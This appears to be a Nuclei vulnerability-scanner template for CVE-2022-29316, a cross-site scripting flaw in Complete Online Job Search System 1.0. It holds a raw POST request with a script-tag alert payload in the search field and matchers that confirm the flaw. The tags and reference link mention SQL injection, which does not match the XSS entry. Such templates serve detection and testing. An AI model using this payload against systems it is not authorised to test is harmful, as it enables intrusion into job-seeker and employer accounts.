id: CVE-2022-29316 info: name: Complete Online Job Search System 1.0 - Cross-Site Scripting author: arafatansari severity: high description: | Complete Online Job Search System 1.0 contains a cross-site scripting vulnerability via index.php?q=advancesearch. impact: | Attackers can inject malicious JavaScript through the search functionality, potentially stealing session cookies and credentials from job seekers and employers using the platform. remediation: | Update Complete Online Job Search System to a patched version that properly sanitizes search parameters and encodes output to prevent XSS attacks. reference: - https://github.com/debug601/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-9.md - https://nvd.nist.gov/vuln/detail/CVE-2022-29316 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cve-id: CVE-2022-29316 epss-score: 0.03321 epss-percentile: 0.8775 cwe-id: CWE-79 metadata: verified: true max-request: 1 tags: cve,cve2022,xss,eris,sqli,vuln http: - raw: - | POST /index.php?q=result&searchfor=advancesearch HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded SEARCH=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&COMPANY=&CATEGORY=&submit=Submit matchers-condition: and matchers: - type: word part: body words: - 'Result : ' - 'ERIS' condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a00473045022100985e5c60930e0c269614aece8ffc49ddab5b143061631b867662a54d658adfba022062332c23f723b593c306c1589dd5c68f8e38b292bb3d0d6decd9025081f8e402:922c64590222798bb761d5b6d8e72950